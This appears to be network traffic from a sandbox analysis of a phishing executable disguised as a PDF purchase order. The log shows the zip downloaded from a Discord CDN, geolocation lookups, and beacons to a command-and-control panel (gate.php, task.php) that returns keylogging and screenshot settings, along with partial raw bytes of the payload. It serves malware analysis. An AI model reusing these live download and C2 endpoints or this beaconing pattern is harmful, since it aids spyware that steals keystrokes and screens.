Feb 21, 2023 07:09:26.903992891 CET	10941	OUT	Data Raw: 5d 78 49 72 f2 bb 85 28 00 dd 9b 83 4a 9f 27 d8 d8 9a fe 4c 89 3d bd 5c 35 a4 5c 31 74 77 ad 73 e5 75 1b 51 d6 26 96 75 33 19 fc 1b 93 46 39 65 4f d2 69 5b e2 e7 35 9e 68 46 a6 67 50 8d a1 47 89 37 8f bb 26 ec 19 f3 91 e8 cd 69 fd f1 9f 7d 30 83 Data Ascii: ]xIr(J'L=\5\1twsuQ&u3F9eOi[5hFgPG7&i}0=!he_cP);dN#WtN6DLI~;7vM^/CFBId M-/?5%y216#8=r-TFKMh0u:'WG:GmR@bWgu
Feb 21, 2023 07:09:26.949223995 CET	10942	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:26 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49727	208.95.112.1	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:06:34.470657110 CET	1545	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 21, 2023 07:06:34.504406929 CET	1546	IN	HTTP/1.1 200 OK Date: Tue, 21 Feb 2023 06:06:33 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49728	208.95.112.1	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:06:41.540169954 CET	1547	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 21, 2023 07:06:41.570087910 CET	1547	IN	HTTP/1.1 200 OK Date: Tue, 21 Feb 2023 06:06:41 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49729	208.95.112.1	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:06:46.099104881 CET	1548	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 21, 2023 07:06:46.137411118 CET	1549	IN	HTTP/1.1 200 OK Date: Tue, 21 Feb 2023 06:06:45 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49730	89.45.67.2	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:06:56.177375078 CET	1551	OUT	GET /webpanel//config.json HTTP/1.1 Host: mavelecgr.com Connection: Keep-Alive
Feb 21, 2023 07:06:56.220626116 CET	1551	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: application/json last-modified: Fri, 17 Feb 2023 05:25:27 GMT accept-ranges: bytes content-length: 44 date: Tue, 21 Feb 2023 06:06:56 GMT server: LiteSpeed Data Raw: 7b 22 74 69 6d 65 5f 6b 65 79 6c 6f 67 73 22 3a 20 31 2c 20 22 74 69 6d 65 5f 73 63 72 65 65 6e 73 68 6f 74 22 3a 20 33 30 20 20 7d Data Ascii: {"time_keylogs": 1, "time_screenshot": 30 }

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49731	208.95.112.1	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:06:56.892281055 CET	1552	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 21, 2023 07:06:56.929560900 CET	1552	IN	HTTP/1.1 200 OK Date: Tue, 21 Feb 2023 06:06:56 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 49 X-Rl: 43 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49732	89.45.67.2	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:06:58.869435072 CET	1553	OUT	GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com Connection: Keep-Alive
Feb 21, 2023 07:06:58.918903112 CET	1553	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 4 date: Tue, 21 Feb 2023 06:06:58 GMT server: LiteSpeed Data Raw: ef bb bf 30 Data Ascii: 0
Feb 21, 2023 07:06:59.319226980 CET	1553	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:06:59.365683079 CET	1554	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:06:59 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49735	89.45.67.2	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:07:04.545552015 CET	1601	OUT	GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:07:04.591530085 CET	1601	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:07:04 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49702	216.58.209.45	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-02-21 06:06:03 UTC	0	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CONSENT=PENDING+904; SOCS=CAISHAgCEhJnd3NfMjAyMjA4MDgtMF9SQzEaAmVuIAEaBgiAvOuXBg
2023-02-21 06:06:03 UTC	0	OUT	Data Raw: 20 Data Ascii:
2023-02-21 06:06:03 UTC	2	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 21 Feb 2023 06:06:03 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-W9K5H-QtRHJM8PMmpLMHcw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin; report-to="IdentityListAccountsHttp" Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-platform=, ch-ua-platform-version= Report-To: {"group":"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/IdentityListAccountsHttp/external"}]} Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-02-21 06:06:03 UTC	4	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2023-02-21 06:06:03 UTC	4	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49703	142.250.180.174	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-02-21 06:06:03 UTC	0	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-104.0.5112.81 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-02-21 06:06:03 UTC	1	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-ZqqhHUiN-SBkApAPqhe7CA' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 21 Feb 2023 06:06:03 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 5894 X-Daystart: 79563 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-02-21 06:06:03 UTC	1	IN	Data Raw: 32 63 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 38 39 34 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 37 39 35 36 33 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 2c9<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="5894" elapsed_seconds="79563"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2023-02-21 06:06:03 UTC	2	IN	Data Raw: 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a Data Ascii: 723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
2023-02-21 06:06:03 UTC	2	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49706	162.159.130.233	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-02-21 06:06:04 UTC	4	OUT	GET /attachments/897446870190800920/1077105532562853908/REVISED_PURCHASE_ORDER.zip HTTP/1.1 Host: cdn.discordapp.com Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-02-21 06:06:04 UTC	5	IN	HTTP/1.1 200 OK Date: Tue, 21 Feb 2023 06:06:04 GMT Content-Type: application/zip Content-Length: 929697 Connection: close CF-Ray: 79cd4b3ebd9ebbc5-FRA Accept-Ranges: bytes Age: 69593 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename="REVISED_PURCHASE_ORDER.zip" ETag: "79b1c9f471a4eaab8fc25989ed850ed7" Expires: Wed, 21 Feb 2024 06:06:04 GMT Last-Modified: Mon, 20 Feb 2023 05:52:50 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 x-goog-generation: 1676872370677169 x-goog-hash: crc32c=xcvoJw== x-goog-hash: md5=ebHJ9HGk6quPwlmJ7YUO1w== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 929697 X-GUploader-UploadID: ADPycdt_1Gqz_Vc21Gs0nNUxoYLQdbK4esjMsjxm-vkVpRwuy6cG6DWQhtQXrjB0QTAiNYXAh51rhWFFf_gsODOZA-yBpw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Set-Cookie: __cf_bm=FIGnIdM5HOyUp2ClQoLkZg5oayl1gbWiIDLlUpYwIqs-1676959564-0-AQxVUNVmILJYF1J+H7zUEqUImsoL30UzJdafsbHfDUFKVAXpkWL/jvn8+AABavSDaFL7gzjv7Y56hHCNmWKjaX0=; path=/; expires=Tue, 21-Feb-23 06:36:04 GMT; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
2023-02-21 06:06:04 UTC	6	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 69 32 39 78 61 75 53 58 35 7a 53 7a 54 6d 31 50 75 75 63 30 6f 4d 33 36 46 76 5a 51 52 7a 73 4c 72 56 76 59 73 6c 72 64 68 4b 6e 71 34 74 61 63 4e 54 4f 6c 6f 48 33 46 45 64 4c 25 32 42 67 48 47 68 68 43 34 64 4c 65 7a 42 57 79 58 73 47 39 59 62 6c 44 6c 38 71 58 63 25 32 46 75 7a 49 46 7a 73 30 32 36 7a 64 30 44 38 68 59 44 63 78 73 37 4f 25 32 46 56 55 62 67 64 5a 4c 44 6c 38 72 45 25 32 46 4b 77 72 61 39 78 73 63 49 77 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=i29xauSX5zSzTm1Puuc0oM36FvZQRzsLrVvYslrdhKnq4tacNTOloH3FEdL%2BgHGhhC4dLezBWyXsG9YblDl8qXc%2FuzIFzs026zd0D8hYDcxs7O%2FVUbgdZLDl8rE%2FKwra9xscIw%3D%3D"}],"group":"cf-nel","max_age
2023-02-21 06:06:04 UTC	6	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 e4 35 54 56 9c 5d 95 e3 76 2e 0e 00 00 66 14 00 39 00 00 00 50 4f 20 37 38 31 38 32 36 35 36 5f 50 44 46 20 20 20 20 52 65 78 65 6c 20 49 6e 64 69 61 20 50 76 74 20 4c 74 64 20 20 20 69 47 53 54 5f 65 48 32 6d 59 61 4d 2e 65 78 45 8c 5d 07 7c 15 c5 d6 9f 7b 53 48 4f 2e 09 09 fd 2e d5 25 f4 ea 24 20 bd 0a 22 5d 44 14 05 0b 48 b9 78 03 36 04 51 44 b0 80 fa b0 b7 87 f8 b0 3c 40 c5 8e 3c 15 0b 4f 05 11 11 69 52 c4 02 2a 76 11 a5 26 df f9 9f b3 3b bb 77 49 be ef e3 e7 66 77 e7 f4 33 67 ce 9c 99 dd bb 9e 33 e6 6e 95 a4 94 4a a6 a3 a2 42 a9 d7 95 fc eb ae fe ef 7f 73 e9 c8 89 be 91 a3 5e 4e df d4 e0 f5 d0 a0 4d 0d 46 4c 9c 54 66 4d 8f c7 ae 88 5f 32 d5 9a 70 c9 b4 69 b1 19 d6 f8 cb ac f8 cc 69 d6 a4 69 56 ef 73 87 5b 53 63 97 5e d6 Data Ascii: PK5TV]v.f9PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE]\|{SHO..%$ "]DHx6QD<@<OiR*v&;wIfw3g3nJBs^NMFLTfM_2piiiVs[Sc^
2023-02-21 06:06:04 UTC	7	IN	Data Raw: d9 e5 34 8f 94 a7 87 e8 08 ab 58 7b 92 57 ac 5a 29 34 b2 f0 e2 fa e2 97 62 c4 58 3f e5 e4 75 ed 9a 22 b1 41 ca 34 a1 3f 65 fd a1 32 e5 85 8c 19 44 1e 9e 5b cb cd c8 85 25 5b 59 21 8c cf 62 fb 1c 4c 3c 9f 56 38 e3 be c4 e1 29 cd c0 0e db 1d cd 7c 57 e2 9b 8e 60 49 a5 53 1d f3 21 ef a9 02 2f 67 87 04 cd a4 6b 7d 86 72 f3 d2 e0 4a 73 76 2d 1e 11 fa f3 0a 1e b9 c2 73 28 81 33 bd 5c 17 0a e6 24 67 84 7b 6c 4b 76 7b 6c d9 c2 70 7c 2d 75 68 8c a6 8e 0c 7b 08 c2 5b b1 13 1c 9d cf 77 f8 57 31 66 13 73 b5 3f 9d 10 5f ea ad e9 f6 50 38 fc 4c df ac c0 b6 71 8c 70 0e 72 e4 0c 52 5c db fc 6f b9 35 1c ef 11 4e 50 d4 c9 b0 fb 8d 7d e7 c2 be f7 98 35 02 df ab 01 6a fb 62 aa 36 c7 94 13 3f 50 ac b8 d4 8d 2f e6 2d f9 b7 07 f1 ab 01 7d 5a 57 a5 8f cf af 23 8c 5f f5 16 98 64 Data Ascii: 4X{WZ)4bX?u"A4?e2D[%[Y!bL<V8)\|W`IS!/gk}rJsv-s(3\$g{lKv{lp\|-uh{[wW1fs?_P8LqprR\o5NP}5jb6?P/-}ZW#_d
2023-02-21 06:06:04 UTC	9	IN	Data Raw: 2c 9c 0c 53 17 cd 2d b8 39 de 1c 4c 6f 03 72 35 a3 54 84 95 aa e6 f0 c7 70 41 e5 9a 61 35 36 9e f8 f5 6f 60 1c f8 db 53 bb b5 7f 74 e8 6f a1 76 bb f0 ac 7a 58 94 a2 87 91 a5 9c b5 6a 38 69 76 3d b3 56 25 9c fa 7e 1c d4 9f c7 e8 5c 84 fa 33 ae 9c 1a 0a aa 21 3f bf 49 07 cd 2c ea 62 3a 96 29 29 37 56 c2 18 a4 93 48 28 a2 62 e7 2a a7 c8 13 4b 78 7f 4a bf 4e 7f 8b 01 b6 ef 70 fb 84 97 ad 22 3b 5f 16 f4 bc 28 5d 8c d6 f2 d4 2b 94 53 34 d2 82 00 4b ef 48 a8 f4 4d 54 bc 61 d7 01 a5 93 b8 d2 e2 fc 79 11 68 92 66 d7 77 97 53 82 d0 9f 11 60 b0 3e ab c2 5d e8 5d cb bc 4a b0 75 c0 b1 ac 1b fa b5 e0 a8 cc 93 da 8c fc 12 f5 fb a5 13 49 f0 37 10 dc aa dc b7 96 df b7 0d 2a c7 69 e0 c7 69 18 94 e3 6f c8 6f 93 c2 c5 55 4d f4 47 c3 90 b3 fc 41 71 38 36 49 76 9b 0b c8 29 17 Data Ascii: ,S-9Lor5TpAa56o`StovzXj8iv=V%~\3!?I,b:))7VH(bKxJNp";_(]+S4KHMTayhfwS`>]]JuI7iiooUMGAq86Iv)
